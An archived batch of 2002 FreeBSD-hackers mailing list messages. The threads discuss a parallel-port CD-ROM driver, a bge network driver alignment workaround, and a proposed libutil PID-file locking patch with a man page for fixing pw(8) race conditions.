<20020623101501.GA53454@lockdown.spectrum.fearmuffs.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20020623101501.GA53454@lockdown.spectrum.fearmuffs.net> User-Agent: Mutt/1.4i-fullermd.1 X-Editor: vi X-OS: FreeBSD Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sun, Jun 23, 2002 at 12:15:01PM +0200 I heard the voice of Martin Faxer, and lo! it spake thus: > > i'm trying to write a driver for an old cd-rom drive that you connect > to the parallel port. it is a shuttletech "para drive" 525. > > i don't have any driver docs or technical specifications but i believe > that it uses some kind of a SCSI to parallel chipset. Perhaps you've already been over this, but have you tried just using (or altering) the vpo driver? It already provides something resembling a SCSI interface for parallel-port ZIP drives; it would seem the logical place to start. -- Matthew Fuller (MF4839) | fullermd@over-yonder.net Systems/Network Administrator | http://www.over-yonder.net/~fullermd/ "The only reason I'm burning my candle at both ends, is because I haven't figured out how to light the middle yet" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Jun 23 7:17:17 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from lockdown.spectrum.fearmuffs.net (c164-147.pro.thalamus.se [212.31.164.147]) by hub.freebsd.org (Postfix) with ESMTP id 70AD837B404; Sun, 23 Jun 2002 07:17:01 -0700 (PDT) Received: from lockdown.spectrum.fearmuffs.net (localhost.spectrum.fearmuffs.net [127.0.0.1]) by lockdown.spectrum.fearmuffs.net (8.12.3/8.12.3) with ESMTP id g5NEHGXD054210; Sun, 23 Jun 2002 16:17:16 +0200 (CEST) (envelope-from gmh003532@brfmasthugget.se) Received: (from redpixel@localhost) by lockdown.spectrum.fearmuffs.net (8.12.3/8.12.3/Submit) id g5NEHFW4054209; Sun, 23 Jun 2002 16:17:15 +0200 (CEST) (envelope-from gmh003532@brfmasthugget.se) Date: Sun, 23 Jun 2002 16:17:15 +0200 From: Martin Faxer To: "Matthew D. Fuller" Cc: nsouch@FreeBSD.org, hackers@FreeBSD.org Subject: Re: ppbus questions Message-ID: <20020623141715.GA54082@lockdown.spectrum.fearmuffs.net> References: <20020623101501.GA53454@lockdown.spectrum.fearmuffs.net> <20020623140134.GD81018@over-yonder.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20020623140134.GD81018@over-yonder.net> User-Agent: Mutt/1.3.99i Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On 2002.06.23 09:01:34 +0000, Matthew D. Fuller wrote: > Perhaps you've already been over this, but have you tried just using (or > altering) the vpo driver? It already provides something resembling a > SCSI interface for parallel-port ZIP drives; it would seem the logical > place to start. yeah, i had a look at the vpo driver to start with, and tried to use it but it didn't detect anything. my current code is basically a vpo but with s/vpo/epsa/ and everything commented out except for the probe routine which i've modified. :) however, i became a little bit suspicious when the drive didn't respond at all like i'd expected it to, so i opened it up, and sure enough my naive assumption of it being an EPSA-2 was wrong. it appears that it's actually an EPEZ parallel to IDE chip... i'll go search the internet a bit and see if i can find anything resembling a driver or a data sheet for it, if not i'll probably give up :) thanks for your response! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Jun 23 8:19:27 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from sea-incorporated.com (caribbean.sea-incorporated.com [209.74.10.130]) by hub.freebsd.org (Postfix) with ESMTP id 09F8737B400 for ; Sun, 23 Jun 2002 08:19:19 -0700 (PDT) Received: from sea-incorporated.com (localhost [127.0.0.1]) by sea-incorporated.com (8.12.3/8.12.3) with ESMTP id g5NFHb0t029932; Sun, 23 Jun 2002 11:17:37 -0400 (EDT) (envelope-from geoff@sea-incorporated.com) Received: from localhost (geoff@localhost) by sea-incorporated.com (8.12.3/8.12.3/Submit) with ESMTP id g5NFHZ0S029929; Sun, 23 Jun 2002 11:17:36 -0400 (EDT) Date: Sun, 23 Jun 2002 11:17:35 -0400 (EDT) From: "Geoffrey C. Speicher" To: "Matthew D. Fuller" Cc: freebsd-hackers@freebsd.org, Matt Simerson , Paul Herman , Oliver Fromme Subject: Re: Locking the passwd subsystem (was Re: bug in pw, -STABLE [patch]) In-Reply-To: <20020623135441.GC81018@over-yonder.net> Message-ID: <20020623105835.E29860-300000@sea-incorporated.com> MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="0-1324113303-1024844954=:29860" Content-ID: <20020623110930.U29860@sea-incorporated.com> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. --0-1324113303-1024844954=:29860 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-ID: <20020623110930.R29860@sea-incorporated.com> On Sun, 23 Jun 2002, Matthew D. Fuller wrote: > Well, a daemon would have a BETTER chance, though nowhere near a > guarantee. The theory being that the daemon would check every so often > (5 minutes sounds good to me), whereas with the library, you potentially > could not check for days, depending on how often you run pw(8). Even on > a heavily used system, 5 minutes wouldn't likely be enough to reuse a > PID, unless you had random PID assignment or some such. Right, for programs like pw(8), the daemon should definitely suffice for all practical purposes. For daemons, it's another story. You don't necessarily have to wrap around the pid list inside of those 5 minutes. If the original program runs for a long time (which is likely for daemons), then the pid list could wrap around while it is still running. Then it is possible that it dies and its pid gets reuser within that 5-minute window. Still unliklely, but not quite as unlikely as the non-daemon scenario. > > > Now, this is a problem. There's a race condition here. It's a very > > > small window, to be sure, but I'm not quite sure how to close it. After > > > > I think you must've figured it out judging by your post that just came > > through as I was writing that previous paragraph. :) > > I think so. See comments in the code. I think so too. I guess we need those flock-style locks after all. > Code is reasonably well commented. Manpage included. Shaken, not > stirred. Slippery when wet. This has gone through a compile test, but > hasn't been live-tested. Looks good from here. I've attached some minor patches (also relative to src/) to pid_util.{3,c}. The first corrects some minor typos in the man page and the second is to make pid_begin() work as advertised when read() fails (set errno and return -1 rather than return errno). (I haven't tested any of this yet either.) You da man. Geoff --0-1324113303-1024844954=:29860 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII; NAME=man_diff Content-Transfer-Encoding: BASE64 Content-ID: <20020623110914.J29860@sea-incorporated.com> Content-Description: Content-Disposition: ATTACHMENT; FILENAME=man_diff LS0tIGxpYi9saWJ1dGlsL3BpZF91dGlsLjMub3JpZwlTdW4gSnVuIDIzIDEw OjMxOjM5IDIwMDINCisrKyBsaWIvbGlidXRpbC9waWRfdXRpbC4zCVN1biBK dW4gMjMgMTA6MzU6MjIgMjAwMg0KQEAgLTUzLDcgKzUzLDcgQEANCiBzdGls bCBleGlzdHMuDQogSWYgdGhlIHByb2Nlc3MgaXMgc3RpbGwgYWxpdmUsDQog LkZuIHBpZF9iZWdpbg0KLXdpbGwgYmxvY2sgYW5kIGNvbnRpbnVlIHRvIHRy eSBhcXVpcmluZyB0aGUgbG9jayBpbmRlZmluYXRlbHksIHVubGVzcw0KK3dp bGwgYmxvY2sgYW5kIGNvbnRpbnVlIHRvIHRyeSBhcXVpcmluZyB0aGUgbG9j ayBpbmRlZmluaXRlbHksIHVubGVzcw0KIC5EdiBQSURfTk9CTE9DSw0KIGlz IHNldCBpbiB0aGUNCiAuRmEgZmxhZ3MgLA0KQEAgLTYzLDcgKzYzLDcgQEAN CiB3aWxsIHB1dCBpdHMgb3duIHByb2Nlc3MgSUQgaW4gdGhlIGZpbGUgYW5k IGNvbnRpbnVlIG9uIGl0cyBtZXJyeSB3YXkuDQogLlBwDQogLkZuIHBpZF9l bmQNCi1yZW1vdmVkIHRoZSBmaWxlIHJlZmVyZW5jZWQgYnkNCityZW1vdmVz IHRoZSBmaWxlIHJlZmVyZW5jZWQgYnkNCiAuRmEgcGlkZmlsZSAuDQogTm90 ZSB0aGF0IHRoZXJlIGlzIGN1cnJlbnRseSBubyBwcm90ZWN0aW9uIGFmZm9y ZGVkIGhlcmUgdGhhdCB0aGUgcHJvY2Vzcw0KIGNhbGxpbmcNCkBAIC04Niw5 ICs4Niw5IEBADQogVGhlIG9wZXJhdGlvbiB3YXMgY2FuY2VsbGVkIGR1ZSB0 byBpbnRlcm5hbCBlcnJvci4NCiAuSXQgQnEgRXIgRVdPVUxEQkxPQ0sNCiBU aGUgZmlsZSBpcyBhbHJlYWR5IGxvY2tlZCBieSBhIHN0aWxsLWxpdmUgcHJv Y2VzcyBhbmQNCi0uRmEgbW9kZQ0KKy5GYSBmbGFncw0KIGluY2x1ZGVzDQot LkR2IFBJRF9OT0xPQ0sgLg0KKy5EdiBQSURfTk9CTE9DSyAuDQogLkVsDQog LlBwDQogVGhlDQo= --0-1324113303-1024844954=:29860 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII; NAME=src_diff Content-Transfer-Encoding: BASE64 Content-ID: <20020623110914.F29860@sea-incorporated.com> Content-Description: Content-Disposition: ATTACHMENT; FILENAME=src_diff LS0tIGxpYi9saWJ1dGlsL3BpZF91dGlsLmMub3JpZwlTdW4gSnVuIDIzIDEw OjM2OjM0IDIwMDINCisrKyBsaWIvbGlidXRpbC9waWRfdXRpbC5jCVN1biBK dW4gMjMgMTA6NTQ6NTggMjAwMg0KQEAgLTkyLDcgKzkyLDggQEANCiAJCXsN CiAJCQlob2xkaW5nPT1lcnJubzsNCiAJCQljbG9zZShsb2NrZmQpOw0KLQkJ CXJldHVybihob2xkaW5nKTsNCisJCQllcnJubz1ob2xkaW5nOw0KKwkJCXJl dHVybigtMSk7DQogCQl9DQogDQogCQltYXN0ZXJwaWQgPSAocGlkX3QpIGF0 b2kocmVhZHBpZCk7DQo= --0-1324113303-1024844954=:29860-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Jun 23 9:22: 0 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from pacbell.net (adsl-63-199-179-203.dsl.snfc21.pacbell.net [63.199.179.203]) by hub.freebsd.org (Postfix) with ESMTP id 7E40037B401; Sun, 23 Jun 2002 09:21:33 -0700 (PDT) Received: (from paleph@localhost) by pacbell.net (8.11.0/8.9.3) id g5NFqS002122; Sun, 23 Jun 2002 08:52:28 -0700 From: paleph@pacbell.net Message-Id: <200206231552.g5NFqS002122@pacbell.net> Subject: Re: Re: bge driver issue To: freebsd-hackers@freebsd.org Date: Sun, 23 Jun 2002 08:52:28 -0700 (PDT) Cc: freebsd-net@freebsd.org X-Mailer: ELM [version 2.5 PL3] MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG John. Thanks for the tip. I changed ETHER_ALIGN to 0 and the driver started to work. I am not sure about the performance since I seem to get only 50 Mbit over a 100 Mbit line. However this is much better than the timeout warnings... Thanks for the input. It is really appreciated. Do you need any other experiments done? We're going to ship the 2650 back to Dell for other reasons (form factor and noise). Paul Fronberg paleph@pacbell.net >In article <200206182206.g5IM6P003388@pacbell.net>, > wrote: >> We have a Dell poweredge 2650 (successor to 2550). >> >> We also saw the same problem with 4.5. I tried the current bge driver from 4.6> without success. The problem seems to be a size problem. When we ftp a small >> file, things work fine. However, when we try a 18 Megabyte file, the ftp >> hands and we see the problem descriped below. The linux system that came >> with the hardware (from dell) worked fine. > >On the 2650 or any other x86 PCI-X system, please try the following >simple experiment. Edit "src/sys/dev/bge/if_bgereg.h". Find this >line: > > #define ETHER_ALIGN 2 > >Change the "2" to "0". Build and install a new kernel. See whether >it solves the problem. > >Here is the reasoning behind the experiment. The bge driver sets >things up so that the NIC DMAs received packets into mbuf clusters >starting ETHER_ALIGN bytes from the beginning of the buffer. That is >done so the payload after the 14- or 18-byte Ethernet header will be >aligned in memory at a 4-byte boundary. The Linux driver from 3Com >for the 3c996B-T does the same thing. However, on PCI-X busses only, >that driver disables the 2-byte offsetting and stores received packets >at the very beginning of the buffer in memory. It is reasonable to >assume that they went to all that trouble for a reason -- for example, >a chip bug. > >This change will impact performance on the x86 architecture, and it >will flat-out break Alphas and most other architectures. The actual >fix would have to be more intelligent, but this is just an experiment. > >Please report back after you have tried this change. I know two >people who have reported that it solved the problems they were having >with BCM5701 chips in PCI-X systems. > >John >-- > John Polstra > John D. Polstra & Co., Inc. Seattle, Washington USA > "Disappointment is a good sign of basic intelligence." -- Chögyam Trungpa > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Jun 23 9:56:29 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from hardtime.linuxman.net (hardtime.linuxman.net [66.147.26.65]) by hub.freebsd.org (Postfix) with ESMTP id 17F8737B401 for ; Sun, 23 Jun 2002 09:56:07 -0700 (PDT) Received: from mortis.over-yonder.net (localhost [127.0.0.1]) by hardtime.linuxman.net (8.11.6/8.11.6) with ESMTP id g5NG1aB30812; Sun, 23 Jun 2002 11:01:36 -0500 Received: by mortis.over-yonder.net (Postfix, from userid 100) id 34FA01F05; Sun, 23 Jun 2002 11:56:03 -0500 (CDT) Date: Sun, 23 Jun 2002 11:56:03 -0500 From: "Matthew D. Fuller" To: "Geoffrey C. Speicher" Cc: freebsd-hackers@freebsd.org, Matt Simerson , Paul Herman , Oliver Fromme Subject: Re: Locking the passwd subsystem (was Re: bug in pw, -STABLE [patch]) Message-ID: <20020623165602.GF81018@over-yonder.net> References: <20020623135441.GC81018@over-yonder.net> <20020623105835.E29860-300000@sea-incorporated.com> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="aM3YZ0Iwxop3KEKx" Content-Disposition: inline In-Reply-To: <20020623105835.E29860-300000@sea-incorporated.com> User-Agent: Mutt/1.4i-fullermd.1 X-Editor: vi X-OS: FreeBSD Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --aM3YZ0Iwxop3KEKx Content-Type: text/plain; charset=us-ascii Content-Disposition: inline On Sun, Jun 23, 2002 at 11:17:35AM -0400 I heard the voice of Geoffrey C. Speicher, and lo! it spake thus: > > 5-minute window. Still unliklely, but not quite as unlikely as the > non-daemon scenario. And it all goes out when window when kern.randompid=1, so it's kinda moot. > Looks good from here. I've attached some minor patches (also relative to > src/) to pid_util.{3,c}. The first corrects some minor typos in the man > page and the second is to make pid_begin() work as advertised when read() > fails (set errno and return -1 rather than return errno). Yes, I have a brain. No, really I do. I just don't have enough coffee :) > (I haven't tested any of this yet either.) I just slapped together a few quick test programs. Here's an updated patch, incorporating your fixes, as well as a bugfix and an almost-bugfix my testing showed up (hint: just because you ftruncate() to 0-length, doesn't mean your offset becomes 0 too, dangit), and eliminated an extra variable. -- Matthew Fuller (MF4839) | fullermd@over-yonder.net Systems/Network Administrator | http://www.over-yonder.net/~fullermd/ "The only reason I'm burning my candle at both ends, is because I haven't figured out how to light the middle yet" --aM3YZ0Iwxop3KEKx Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename=diffs Index: lib/libutil/Makefile =================================================================== RCS file: /usr/cvs/src/lib/libutil/Makefile,v retrieving revision 1.46 diff -u -r1.46 Makefile --- lib/libutil/Makefile 8 May 2002 00:50:07 -0000 1.46 +++ lib/libutil/Makefile 23 Jun 2002 13:31:01 -0000 @@ -8,7 +8,7 @@ CFLAGS+=-DINET6 SRCS= _secure_path.c auth.c fparseln.c login.c login_auth.c \ login_cap.c login_class.c login_crypt.c login_ok.c login_times.c \ - login_tty.c logout.c logwtmp.c property.c pty.c \ + login_tty.c logout.c logwtmp.c pid_util.c property.c pty.c \ pw_util.c realhostname.c stub.c \ trimdomain.c uucplock.c INCS= libutil.h login_cap.h @@ -16,7 +16,7 @@ MAN+= login.3 login_auth.3 login_tty.3 logout.3 logwtmp.3 pty.3 \ login_cap.3 login_class.3 login_times.3 login_ok.3 \ _secure_path.3 uucplock.3 property.3 auth.3 realhostname.3 \ - realhostname_sa.3 trimdomain.3 fparseln.3 + realhostname_sa.3 trimdomain.3 fparseln.3 pid_util.3 MAN+= login.conf.5 auth.conf.5 MLINKS+= property.3 properties_read.3 property.3 properties_free.3 MLINKS+= property.3 property_find.3 @@ -39,5 +39,6 @@ MLINKS+=login_auth.3 auth_checknologin.3 login_auth.3 auth_cat.3 MLINKS+=uucplock.3 uu_lock.3 uucplock.3 uu_lock_txfr.3 \ uucplock.3 uu_unlock.3 uucplock.3 uu_lockerr.3 +MLINKS+=pid_util.3 pid_begin.3 pid_end.3 .include Index: lib/libutil/libutil.h =================================================================== RCS file: /usr/cvs/src/lib/libutil/libutil.h,v retrieving revision 1.37 diff -u -r1.37 libutil.h --- lib/libutil/libutil.h 8 May 2002 00:50:07 -0000 1.37 +++ lib/libutil/libutil.h 23 Jun 2002 12:35:30 -0000 @@ -82,6 +82,8 @@ struct sockaddr; int realhostname_sa(char *host, size_t hsize, struct sockaddr *addr, int addrlen); +int pid_begin(const char *pidfile, mode_t mode, int flags); +int pid_end(const char *pidfile); #ifdef _STDIO_H_ /* avoid adding new includes */ char *fparseln(FILE *, size_t *, size_t *, const char[3], int); #endif @@ -128,5 +130,8 @@ /* pw_scan() */ #define PWSCAN_MASTER 0x01 #define PWSCAN_WARN 0x02 + +/* pid_begin() */ +#define PID_NOBLOCK 0x01 #endif /* !_LIBUTIL_H_ */ Index: lib/libutil/pid_util.c =================================================================== --- /dev/null Sun Jun 23 11:44:00 2002 +++ lib/libutil/pid_util.c Sun Jun 23 11:50:59 2002 @@ -0,0 +1,178 @@ +/*- + * Copyright (c) 2002 Matthew D. Fuller + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHORS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHORS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ + +#ifndef lint +static const char rcsid[] = + "$FreeBSD$"; +#endif /* not lint */ + +/* + * These functions are for maintenance of locking PID files + */ + +#include +#include +#include + +#include +#include +#include +#include +#include +#include + +#include + + +#define PID_LEN 6 /* Currently only need 5 (0-99,999) */ + +/* + * pid_begin: Open a PID file and write PID into it. If one already + * exists, try and track down the process which opened it; if it can't be + * found, proceed as if the file weren't even there. + */ +int +pid_begin(const char *pidfile, mode_t mode, int flags) +{ + int procdead=0; + int lockfd; + int holding=0; + ssize_t readlen; + pid_t masterpid; + char pidstr[PID_LEN+1]; + +start: + if( (lockfd=open(pidfile, O_RDWR | O_CREAT | O_EXCL | O_EXLOCK, + mode)) < 0 ) + { + if(errno!=EEXIST) + return(-1); /* Preserve errno */ + + /* Open and find PID */ + if( (lockfd=open(pidfile, O_RDWR | O_EXLOCK, mode)) < 0 ) + { + if(errno==ENOENT || errno==EWOULDBLOCK) + { + /* + * This could use some thought. We're going to + * tight-loop if someone else has the file locked + * (EWOULDBLOCK). In theory, any locks should be + * quite short-lived, so I THINK this will be fine. + */ + goto start; + } + else + return(-1);/* Preserve errno */ + } + + if( (readlen=read(lockfd, pidstr, PID_LEN)) < 0 ) + { + holding==errno; + close(lockfd); + errno=holding; + return(-1); + } + + pidstr[readlen]='\0'; + masterpid = (pid_t) atoi(pidstr); + if(masterpid<1) /* This shouldn't happen */ + { + /* This is really a NFS error, but we'll abuse it */ + errno=ECANCELED; + return(-1); + } + + /* + * There's a number of ways we could approach this. We could + * stat /proc/$PID, but that would fail if /proc wasn't + * mounted. We could use libkvm, but that would require + * linking libutil with it, as well as being setgid kmem on + * the app (which we can't really count on). We could + * fork/exec ps(1), but that's a bit ugly. + * I'm going to do it in a rather ugly way. SIGWINCH is + * fairly harmless in the cases where it's used, and is + * ignored by default. These functions are aimed at daemons, + * which will generally have no use for it, and thus not + * change it from the default discard. + * Note that zombie'd processes count as 'nonexistent' to + * kill(2). + */ + if( kill(masterpid, SIGWINCH) < 0 ) + if(errno==ESRCH) + procdead=1; + else + procdead=0; + else + procdead=0; /* kill(2) succeeded */ + + if(procdead==0) + { + /* Old locker is still alive */ + close(lockfd); + if( (flags & PID_NOBLOCK) ) + { + errno=EWOULDBLOCK; + return(-1); + } + else + { + sleep(1); /* Arbitrary */ + goto start; + } + } + /* Old lockholder is dead: fallthru */ + } + + /* + * If we get here, we either ARE the O_EXCL opener, or the process + * listed in the file is dead and we're taking it over. + */ + ftruncate(lockfd, 0); + lseek(lockfd, 0, SEEK_SET); + write( lockfd, pidstr, sprintf(pidstr, "%d", getpid()) ); + + close(lockfd); + return(0); +} + + +/* + * pid_end: Clean up a lock we hold. + */ +int +pid_end(const char *pidfile) +{ + /* + * We SHOULDN'T need to aquire a lock on the file, since the only + * time anybody else should be writing into it would be if we're + * dead, and thus we wouldn't be in this function. If they're just + * reading it, unlink()'ing it out from under them won't do any + * damage. If we're still alive, pid_begin() should close() the file + * and attempt to re-open() for the next attempt, so this should work + * nice and cleanly. + */ + return(unlink(pidfile)); +} Index: lib/libutil/pid_util.3 =================================================================== --- /dev/null Sun Jun 23 11:44:00 2002 +++ lib/libutil/pid_util.3 Sun Jun 23 11:51:39 2002 @@ -0,0 +1,106 @@ +.\" Copyright (c) 2002 Matthew D. Fuller +.\" All rights reserved. +.\" +.\" Redistribution and use in source and binary forms, with or without +.\" modification, are permitted provided that the following conditions +.\" are met: +.\" 1. Redistributions of source code must retain the above copyright +.\" notice, this list of conditions and the following disclaimer. +.\" 2. Redistributions in binary form must reproduce the above copyright +.\" notice, this list of conditions and the following disclaimer in the +.\" documentation and/or other materials provided with the distribution. +.\" +.\" THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND +.\" ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +.\" IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +.\" ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE +.\" FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +.\" DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS +.\" OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +.\" HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT +.\" LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY +.\" OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF +.\" SUCH DAMAGE. +.\" +.\" $FreeBSD$ +.\" +.Dd June 23, 2002 +.Os +.Dt PID_UTIL 3 +.Sh NAME +.Nm pid_begin , +.Nm pid_end +.Nd "handle locking and unlocking of PID files" +.Sh LIBRARY +.Lb libutil +.Sh SYNOPSIS +.In sys/types.h +.In libutil.h +.Ft int +.Fn pid_begin "const char *pidfile" "mode_t mode" "int flags" +.Ft int +.Fn pid_end "const char *pidfile" +.Sh DESCRIPTION +The function +.Fn pid_begin +attempts to open the file referenced by +.Fa pidfile +and write the process ID to it. +If the file already exists, +.Fn pid_begin +will determine if the process listed in +.Fa pidfile +still exists. +If the process is still alive, +.Fn pid_begin +will block and continue to try aquiring the lock indefinitely, unless +.Dv PID_NOBLOCK +is set in the +.Fa flags , +in which case it will return an error. +If the old process is dead, or the file doesn't exist, +.Fn pid_begin +will put its own process ID in the file and continue on its merry way. +.Pp +.Fn pid_end +removes the file referenced by +.Fa pidfile . +Note that there is currently no protection afforded here that the process +calling +.Fn pid_end +is actually the process that opened the PID file in the first place. +.Sh RETURN VALUES +If successful, +.Fn pid_begin +and +.Fn pid_end +will return 0. +They will return -1 on failure, and set +.Va errno +to indicate the error. +.Sh ERRORS +.Fn pid_begin +will leave behind a PID file unless: +.Bl -tag -width Er +.It Bq Er ECANCELED +The operation was cancelled due to internal error. +.It Bq Er EWOULDBLOCK +The file is already locked by a still-live process and +.Fa flags +includes +.Dv PID_NOBLOCK . +.El +.Pp +The +.Fn pid_begin +function may also fail and set errno for any of the errors specified for +the routines +.Xr open 2 +or +.Xr read 2 . +.Pp +The +.Fn pid_end +function may fail and set errno for any of the errors specified for the +routine +.Xr unlink 2 . --aM3YZ0Iwxop3KEKx-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Jun 23 10: 1:12 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.deltanet.com (mail.deltanet.com [216.237.144.132]) by hub.freebsd.org (Postfix) with ESMTP id B3A3137B401 for ; Sun, 23 Jun 2002 10:01:06 -0700 (PDT) Received: from mammoth.eat.frenchfries.net (da001d0294.lax-ca.osd.concentric.net [64.0.145.39]) by mail.deltanet.com (8.11.6/8.11.6) with ESMTP id g5NGb0O02977 for ; Sun, 23 Jun 2002 09:37:01 -0700 Received: by mammoth.eat.frenchfries.net (Postfix, from userid 1000) id 0D85D5150; Sun, 23 Jun 2002 09:59:10 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by mammoth.eat.frenchfries.net (Postfix) with ESMTP id 09647514C; Sun, 23 Jun 2002 09:59:10 -0700 (PDT) Date: Sun, 23 Jun 2002 09:59:10 -0700 (PDT) From: Paul Herman X-X-Sender: pherman@mammoth.eat.frenchfries.net To: "Matthew D. Fuller" Cc: "Geoffrey C. Speicher" , Subject: Re: bug in pw, -STABLE [patch] In-Reply-To: <20020623160439.GE81018@over-yonder.net> Message-ID: <20020623094323.F38369-100000@mammoth.eat.frenchfries.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG [ pulled over to -hackers as well ] On Sun, 23 Jun 2002, Matthew D. Fuller wrote: > On Sun, Jun 23, 2002 at 09:00:52AM -0700 I heard the voice of > Paul Herman, and lo! it spake thus: > > On Sun, 23 Jun 2002, Geoffrey C. Speicher wrote: > > > > How so? I'm not suggesting unlink(2)ing /etc/master.passwd or > > /etc/spwd.db at all. > > No, but pw(8) does; making it not do so would require reasonably > extensive rewriting. Indeed it does do this. However, that seems to be the crux of the problem. The current pw(8) behavior was (probably) not only a convenient way to update files in /etc, but an attempt to narrow (not eliminate) the window for race conditions. If this is fundamentaly flawed, *this* should be fixed, and not have a larger band aid put over it. I can't imagine it would be too extensive of a rewrite. The temp file code could be kept, and in fileupd.c:fileupdate() instead of rename("/etc/master.passwd.new", "/etc/master.passwd"), it just copies the contents of the .new file into the original file (that has the O_EXLOCK.) -Paul. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Jun 23 10: 4:59 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from hardtime.linuxman.net (hardtime.linuxman.net [66.147.26.65]) by hub.freebsd.org (Postfix) with ESMTP id DC9D237B400 for ; Sun, 23 Jun 2002 10:04:54 -0700 (PDT) Received: from mortis.over-yonder.net (localhost [127.0.0.1]) by hardtime.linuxman.net (8.11.6/8.11.6) with ESMTP id g5NGAQB30960; Sun, 23 Jun 2002 11:10:26 -0500 Received: by mortis.over-yonder.net (Postfix, from userid 100) id C95A01F05; Sun, 23 Jun 2002 12:04:52 -0500 (CDT) Date: Sun, 23 Jun 2002 12:04:52 -0500 From: "Matthew D. Fuller" To: Paul Herman Cc: "Geoffrey C. Speicher" , freebsd-hackers@FreeBSD.ORG Subject: Re: bug in pw, -STABLE [patch] Message-ID: <20020623170452.GG81018@over-yonder.net> References: <20020623160439.GE81018@over-yonder.net> <20020623094323.F38369-100000@mammoth.eat.frenchfries.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20020623094323.F38369-100000@mammoth.eat.frenchfries.net> 